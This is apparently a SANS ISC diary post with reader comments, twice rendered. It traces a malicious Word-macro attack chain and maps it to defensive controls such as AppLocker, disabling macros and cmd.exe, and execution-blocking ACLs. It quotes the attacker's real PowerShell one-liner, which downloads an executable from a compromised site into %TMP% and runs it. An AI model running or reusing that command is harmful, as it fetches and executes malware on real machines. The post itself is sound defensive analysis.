Mapping Attack Methodology to Controls

Mapping Attack Methodology to Controls
Recently we’ve seen lots of malicious documents make it through our first protection layers. (https://www.virustotal.com/en/file/79ff976c5ca6025f3bb90ddfa7298286217c21309c897e6b530603d48dea0369/analysis/) . In the last week, these emails have a word document that spawns a command shell that kicks off a PowerShell script. When working incidents, it is important to map out the attacker lifecycle to determine where to improve your defenses. In this case the execution chain looks like this: Email ->Word Doc -> Cmd.exe ->powershell ->Malware.exe When the user clicks on the attachment it runs a macro that then kicks off a command shell that runs the following: cmd /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.tessaban.com/images/images/gfjfgklmslifdsfnln.png','%TMP%\scsnsys.exe');Start-process '%TMP%\scsnsys.exe'; When looking at how PowerShell makes the web connection, nothing special happens on the network. Powershell doesn’t have a user-agent string, so this makes it hard to profile on something simple. GET /images/images/gfjfgklmslifdsfnln.pngHTTP/1.1 Host: www.tessaban.com Connection: Keep-Alive So let's map out controls we can put in place to prevent the attack lifecycle. Stopping delivery of the message (In order of $ and Complexity) Hold attachment for X number of hours so AV my catch up Convert file to another type (e.g. Word -> PDF) Mangle the macro in the file before delivery Sandbox the attachment before delivery Preventing Macros from running Disable macros via GPO Block users from Cmd.exe Use an Applocker policy to block cmd.exe Prevent Powershell from running unsigned scripts Lots of ways to bypass Prevent download of malware Use sinkhole/proxy ect. Prevent malware from running in the drop location ( C:\Users\me\AppData\Local\Temp\scsnsys.exe) Applocker Now by looking at this list you can determine what make sense in your environment due to technical or political issues. This exercise will have you prepared to answer the questions, how can we prevent this in the future. I also like to add a simple level of effort required to implement these changes (e.g. ~10hrs) and costs (e.g. $$$). -- Tom Webb @twsecblog	Tom 58 Posts ISC Handler Nov 23rd 2016
Subscribe	Nov 23rd 2016 3 years ago
We had come across such samples when we were designing policies in Antivirus for protection against ransomware. We followed below mentioned approach and it appears to be getting the job done. 1. Application control policy: Don't allow MS office executable to drop .exe, .vbs, .vbe, .wsf and .js files. 2. Firewall policy: Don't allow MS office executable, wscript.exe, cscript.exe, mshta.exe and powershell.exe to communicate with external internet addresses.	Darshan 4 Posts
Quote	Nov 23rd 2016 3 years ago
I see that the image had ,'%TMP%\scsnsys.exe');Start-process '%TMP%\scsnsys.exe'; in it. Is it obvious that the PNG has code in it when looking at it in Wireshark? (Can you please post what the HEX would look like in Wireshark?) If it is not visible in Wireshark or Fiddler (to decode it), how do we find it? Thank you.	Tri0x 17 Posts
Quote	Nov 23rd 2016 3 years ago
"Powershell doesn’t have a user-agent string, so this makes it hard to profile on something simple." Doesn't this fact actually make it easier to profile for it? Any legitimate browser or download tool HAS a valid agent string..	Visi 41 Posts
Quote	Nov 23rd 2016 3 years ago
It depends on how tight your control on your environment is, but lots of things make calls for update and such without one. If you can use this IOC thats awesome.	Tom 58 Posts ISC Handler
Quote	Nov 23rd 2016 3 years ago
The file was a executable with a MZ header, it was just named PNG on the file server. It could be the compromised website didn't allow the attacker to upload exe files, or he was just trying to hide in general.	Tom 58 Posts ISC Handler
Quote	Nov 23rd 2016 3 years ago
Thanks. I figured there would be the magic file number in the HEX. I always check this to ensure it is what it claims to be. One of my co-workers thinks that you can modify the MZ in the header, so it looks like something other than an executable, and still run the .exe. I think this would not work. Thoughts?	Tri0x 17 Posts
Quote	Nov 23rd 2016 3 years ago
Quote: 2. Disable macros via GPO 3. Block users from Cmd.exe 1. Use an Applocker policy to block cmd.exe ... 6. Prevent malware from running in the drop location ( C:\Users\me\AppData\Local\Temp\scsnsys.exe) 1. Applocker Ad 2. a) the default setting of Microsoft Office already disables macros from untrusted sources. b) not all Windows users have an AD to deploy GPOs; every Windows user but can set the respective registry entries. Ad 3. a) AppLocker alias SRPv2 is available in FEW editions of Windows only; SAFER alias SRPv1 is but available in ALL editions. b) you actually don't need either: just set [HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System] "DisableCMD"=dword:01 ; see MSKB 2704811 Ad 6. a) use SAFER instead of AppLocker, and deny execution in %USERPROFILE% and below, not just %TEMP%. b) add the NTFS ACE "(D;OIIO;WP;;;WD)" meaning "deny execution of files in this directory and its subdirectories" to every user profile, including %ALLUSERSPROFILE%, %PUBLIC% and %ProgramData%.	Anonymous
Quote	Nov 24th 2016 3 years ago
"Application control policy: Don't allow MS office executable to drop .exe, .vbs, .vbe, .wsf and .js files." Can you implement this policy using AppLocker (Executable Rules)? Can you point to any references to help write this rule?	Brandon 7 Posts
Quote	Nov 25th 2016 3 years ago
Quoting Brandon:"Application control policy: Don't allow MS office executable to drop .exe, .vbs, .vbe, .wsf and .js files." Can you implement this policy using AppLocker (Executable Rules)? NO! #1: AppLocker controls execution of files, not their creation. See https://technet.microsoft.com/en-us/library/dd759068.aspx for the rule conditions supported by AppLocker. #2: File creation is controlled via NTFS access control lists. This is but independent from the writing application, the files name and its content. If you want to implement such a policy: write your own AppCert.dll (available since Windows 2000). These export a single function NTSTATUS NTAPI CreateProcessNotify(LPCWSTR, DWORD) which is called whenever a process wants to create a new process. The first argument holds the pathname of the new process, the second argument one of the reasons QUERY = 1L (before process creation), ALLOWED = 2L or DENIED = 3L (in response to the result from QUERY). Upon call with reason QUERY = 1L the function returns STATUS_SUCCESS = 0L to allow process creation or any NTSTATUS failure (like STATUS_UNSUCCESSFUL = 0xC0000001L or STATUS_ACCESS_DENIED = 0xC0000022L) to deny process creation. Register your DLL(s) in the following key: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls] "AppCert.Dll"="<fullpath>\AppCert.Dll" ... These DLL(s) are loaded into a user process at the first call of one of the CreateProcess*() functions and their counterparts in NTDLL, and are all called in succession. Only if all of them return STATUS_SUCCESS execution is allowed.	Anonymous
Quote	Nov 27th 2016 3 years ago
1. Application control policy: Don't allow MS office executable to drop .exe, .vbs, .vbe, .wsf and .js files. >>> How to achieve this .I know that you can stop a process from execution but how to stop it from dropping such files .Can you please share sample screenshot. 2. Firewall policy: Don't allow MS office executable, wscript.exe, cscript.exe, mshta.exe and powershell.exe to communicate with external internet addresses. >>> How to achieve this .Can you please share sample screenshot.	Anonymous
Quote	Mar 1st 2017 3 years ago

Recently we’ve seen lots of malicious documents make it through our first protection layers. (https://www.virustotal.com/en/file/79ff976c5ca6025f3bb90ddfa7298286217c21309c897e6b530603d48dea0369/analysis/) . In the last week, these emails have a word document that spawns a command shell that kicks off a PowerShell script. When working incidents, it is important to map out the attacker lifecycle to determine where to improve your defenses.

In this case the execution chain looks like this: Email ->Word Doc -> Cmd.exe ->powershell ->Malware.exe

When the user clicks on the attachment it runs a macro that then kicks off a command shell that runs the following:
cmd /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.tessaban.com/images/images/gfjfgklmslifdsfnln.png','%TMP%\scsnsys.exe');Start-process '%TMP%\scsnsys.exe';

When looking at how PowerShell makes the web connection, nothing special happens on the network. Powershell doesn’t have a user-agent string, so this makes it hard to profile on something simple.

GET /images/images/gfjfgklmslifdsfnln.pngHTTP/1.1
Host: www.tessaban.com
Connection: Keep-Alive

So let's map out controls we can put in place to prevent the attack lifecycle.

Stopping delivery of the message (In order of $ and Complexity)
1. Hold attachment for X number of hours so AV my catch up
2. Convert file to another type (e.g. Word -> PDF)
3. Mangle the macro in the file before delivery
4. Sandbox the attachment before delivery
5. Preventing Macros from running
Disable macros via GPO
Block users from Cmd.exe
1. Use an Applocker policy to block cmd.exe
Prevent Powershell from running unsigned scripts
1. Lots of ways to bypass
Prevent download of malware
1. Use sinkhole/proxy ect.
Prevent malware from running in the drop location ( C:\Users\me\AppData\Local\Temp\scsnsys.exe)
1. Applocker

Now by looking at this list you can determine what make sense in your environment due to technical or political issues. This exercise will have you prepared to answer the questions, how can we prevent this in the future. I also like to add a simple level of effort required to implement these changes (e.g. ~10hrs) and costs (e.g. $$$).

--

Tom Webb

@twsecblog

Tom

58 Posts
ISC Handler

Nov 23rd 2016

We had come across such samples when we were designing policies in Antivirus for protection against ransomware. We followed below mentioned approach and it appears to be getting the job done.

1. Application control policy: Don't allow MS office executable to drop .exe, .vbs, .vbe, .wsf and .js files.
2. Firewall policy: Don't allow MS office executable, wscript.exe, cscript.exe, mshta.exe and powershell.exe to communicate with external internet addresses.

Darshan

4 Posts

I see that the image had ,'%TMP%\scsnsys.exe');Start-process '%TMP%\scsnsys.exe'; in it.

Is it obvious that the PNG has code in it when looking at it in Wireshark? (Can you please post what the HEX would look like in Wireshark?)

If it is not visible in Wireshark or Fiddler (to decode it), how do we find it?

Thank you.

Tri0x

17 Posts

"Powershell doesn’t have a user-agent string, so this makes it hard to profile on something simple."
Doesn't this fact actually make it easier to profile for it? Any legitimate browser or download tool HAS a valid agent string..

Visi

41 Posts

It depends on how tight your control on your environment is, but lots of things make calls for update and such without one. If you can use this IOC thats awesome.

Tom

58 Posts
ISC Handler

The file was a executable with a MZ header, it was just named PNG on the file server. It could be the compromised website didn't allow the attacker to upload exe files, or he was just trying to hide in general.

Tom

58 Posts
ISC Handler

Thanks. I figured there would be the magic file number in the HEX. I always check this to ensure it is what it claims to be.

One of my co-workers thinks that you can modify the MZ in the header, so it looks like something other than an executable, and still run the .exe. I think this would not work.

Thoughts?

Tri0x

17 Posts

Quote:
2. Disable macros via GPO
3. Block users from Cmd.exe
1. Use an Applocker policy to block cmd.exe
...
6. Prevent malware from running in the drop location ( C:\Users\me\AppData\Local\Temp\scsnsys.exe)
1. Applocker

Ad 2.
a) the default setting of Microsoft Office already disables macros from untrusted sources.
b) not all Windows users have an AD to deploy GPOs; every Windows user but can set the respective registry entries.

Ad 3.
a) AppLocker alias SRPv2 is available in FEW editions of Windows only; SAFER alias SRPv1 is but available in ALL editions.
b) you actually don't need either: just set
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]
"DisableCMD"=dword:01 ; see MSKB 2704811

Ad 6.
a) use SAFER instead of AppLocker, and deny execution in %USERPROFILE% and below, not just %TEMP%.
b) add the NTFS ACE "(D;OIIO;WP;;;WD)" meaning "deny execution of files in this directory and its subdirectories" to every user profile, including %ALLUSERSPROFILE%, %PUBLIC% and %ProgramData%.

Anonymous

"Application control policy: Don't allow MS office executable to drop .exe, .vbs, .vbe, .wsf and .js files."

Can you implement this policy using AppLocker (Executable Rules)? Can you point to any references to help write this rule?

Brandon

7 Posts

Quoting Brandon:"Application control policy: Don't allow MS office executable to drop .exe, .vbs, .vbe, .wsf and .js files."

Can you implement this policy using AppLocker (Executable Rules)?

NO!
#1: AppLocker controls execution of files, not their creation.
See https://technet.microsoft.com/en-us/library/dd759068.aspx for the rule conditions supported by AppLocker.
#2: File creation is controlled via NTFS access control lists.
This is but independent from the writing application, the files name and its content.

If you want to implement such a policy: write your own AppCert.dll (available since Windows 2000). These export a single function
NTSTATUS NTAPI CreateProcessNotify(LPCWSTR, DWORD)
which is called whenever a process wants to create a new process.
The first argument holds the pathname of the new process, the second argument one of the reasons QUERY = 1L (before process creation), ALLOWED = 2L or DENIED = 3L (in response to the result from QUERY).
Upon call with reason QUERY = 1L the function returns STATUS_SUCCESS = 0L to allow process creation or any NTSTATUS failure (like STATUS_UNSUCCESSFUL = 0xC0000001L or STATUS_ACCESS_DENIED = 0xC0000022L) to deny process creation.

Register your DLL(s) in the following key:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls]
"AppCert.Dll"="<fullpath>\AppCert.Dll"
...

These DLL(s) are loaded into a user process at the first call of one of the CreateProcess*() functions and their counterparts in NTDLL, and are all called in succession. Only if all of them return STATUS_SUCCESS execution is allowed.

Anonymous

1. Application control policy: Don't allow MS office executable to drop .exe, .vbs, .vbe, .wsf and .js files.

>>> How to achieve this .I know that you can stop a process from execution but how to stop it from dropping such files .Can you please share sample screenshot.

2. Firewall policy: Don't allow MS office executable, wscript.exe, cscript.exe, mshta.exe and powershell.exe to communicate with external internet addresses.

>>> How to achieve this .Can you please share sample screenshot.

Anonymous